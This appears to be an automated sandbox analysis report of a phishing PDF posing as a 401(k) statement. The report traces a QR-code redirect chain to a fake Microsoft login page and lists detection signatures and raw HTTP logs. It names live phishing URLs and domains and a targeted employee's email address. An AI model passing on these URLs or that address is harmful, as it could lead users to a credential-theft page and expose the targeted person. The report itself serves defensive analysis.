Edit tour

Windows Analysis Report
Ferc Q1 2025 401(k) Statement-5997707969.pdf

Overview

General Information

Sample name:	Ferc Q1 2025 401(k) Statement-5997707969.pdf
Analysis ID:	1603263
MD5:	a10cbd37c8587b2fee497896894cbd64
SHA1:	6b49e4bf0e8d6275cd82548851dc2fcb75f3e413
SHA256:	794cbdd8022639a5dd64ee9343068dc72eab91a35b5f3f974969ae1b83e06c97
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

AI detected landing page (webpage, office document or email)

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 7152 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Ferc Q1 2025 401(k) Statement-5997707969.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6644 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2568 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1676,i,11162465224118041367,2337748532442546483,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7536 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://876rfyguyt7ygty.401kstatementmorganstanley.workers.dev/6ea3c94f2192f278e29958b23fb7aa43/MFRVQscotiana.bennett@ferc.gov MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7924 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=2028,i,4291712580894038494,18141104973775951258,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
2.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov

Joe Sandbox AI: Score: 8 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'office.docmanagementsystem.com' does not match the legitimate domain 'microsoft.com'., The URL contains additional words 'docmanagementsystem' which are not typically associated with Microsoft's official domains., The presence of an input field asking for a password on a non-legitimate domain is a common phishing tactic. DOM: 2.7.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 2.7.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: PDF document

Joe Sandbox AI: PDF document contains QR code

Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov

HTTP Parser: Number of links: 0

Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov	HTTP Parser: Invalid link: Privacy statement
Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov	HTTP Parser: Invalid link: Privacy statement

Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov

HTTP Parser: <input type="password" .../> found

Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov	HTTP Parser: No favicon
Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov	HTTP Parser: No favicon
Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov	HTTP Parser: No favicon
Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov	HTTP Parser: No favicon
Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov	HTTP Parser: No favicon

Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov	HTTP Parser: No <meta name="author".. found
Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov	HTTP Parser: No <meta name="author".. found

Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov	HTTP Parser: No <meta name="copyright".. found
Source: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: 876rfyguyt7ygty.401kstatementmorganstanley.workers.dev to http://r56eqpki1r3pdt55n3rm.wearedhaka.com/vvinx/fpmqd19keh/scotiana.bennett%40ferc.gov

Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 2.23.209.34 2.23.209.34
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /6ea3c94f2192f278e29958b23fb7aa43/MFRVQscotiana.bennett@ferc.gov HTTP/1.1Host: 876rfyguyt7ygty.401kstatementmorganstanley.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /6l7q9?e=scotiana.bennett@ferc.gov HTTP/1.1Host: office.docmanagementsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: http://r56eqpki1r3pdt55n3rm.wearedhaka.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /6l7q9/?e=scotiana.bennett@ferc.gov HTTP/1.1Host: office.docmanagementsystem.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: http://r56eqpki1r3pdt55n3rm.wearedhaka.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://office.docmanagementsystem.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/6682e961b853/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://office.docmanagementsystem.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://office.docmanagementsystem.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/6682e961b853/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=90a37f855bab32ca&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=90a37f855bab32ca&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: office.docmanagementsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.govAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=ola75drb6si4pseg8138m0r2si
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/428841705:1738257258:NQS5JLtvOTvofmNpGGjWYSAkW1IksDo4h5s1tOmpDd0/90a37f855bab32ca/gYSngyglqKnIoNO6flATrUA1pCbkbvNWQHtXIG1Zff8-1738261458-1.1.1.1-EyRArk2xBpPRpD9MzfbrwvfbpDZ1kTGSgsVqJoSRjtlfdHufXEcEes1WkwDn1SFH HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/90a37f855bab32ca/1738261460460/e1eb75eebf556fffc850630d7e7f9bb70b855ce73460d2572b9a736a85c350f5/t-nVrzwK8DkGKlR HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/90a37f855bab32ca/1738261460462/wyd_xOB22597l8n HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/90a37f855bab32ca/1738261460462/wyd_xOB22597l8n HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/428841705:1738257258:NQS5JLtvOTvofmNpGGjWYSAkW1IksDo4h5s1tOmpDd0/90a37f855bab32ca/gYSngyglqKnIoNO6flATrUA1pCbkbvNWQHtXIG1Zff8-1738261458-1.1.1.1-EyRArk2xBpPRpD9MzfbrwvfbpDZ1kTGSgsVqJoSRjtlfdHufXEcEes1WkwDn1SFH HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/auto_timeout/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://office.docmanagementsystem.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=90a38299fd108c5d&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/auto_timeout/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=90a38299fd108c5d&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2083360754:1738257177:_AcCsPlYk05IoUBDh1nHFkQSrBzJqWxJyisqL912d74/90a38299fd108c5d/9_ef1bsav0HAQER.JKQz6mWAWX0fqfJMZ5UBZf6svQ0-1738261584-1.1.1.1-6seam92rOsj.fbnJiQ_p0Y_LQPEb2BxrnwdlVtxSc2ZqLf3t8hBjhyRAZoSQdX7v HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/90a38299fd108c5d/1738261586757/2078bbe945e4e7f631524f343043bac1a6df08daf8f584118bd9c57319b0af2c/6ncRj_krszpg3Gx HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/auto_timeout/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/90a38299fd108c5d/1738261586764/rk2-b3QjAiDFIbt HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/auto_timeout/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/90a38299fd108c5d/1738261586764/rk2-b3QjAiDFIbt HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2083360754:1738257177:_AcCsPlYk05IoUBDh1nHFkQSrBzJqWxJyisqL912d74/90a38299fd108c5d/9_ef1bsav0HAQER.JKQz6mWAWX0fqfJMZ5UBZf6svQ0-1738261584-1.1.1.1-6seam92rOsj.fbnJiQ_p0Y_LQPEb2BxrnwdlVtxSc2ZqLf3t8hBjhyRAZoSQdX7v HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
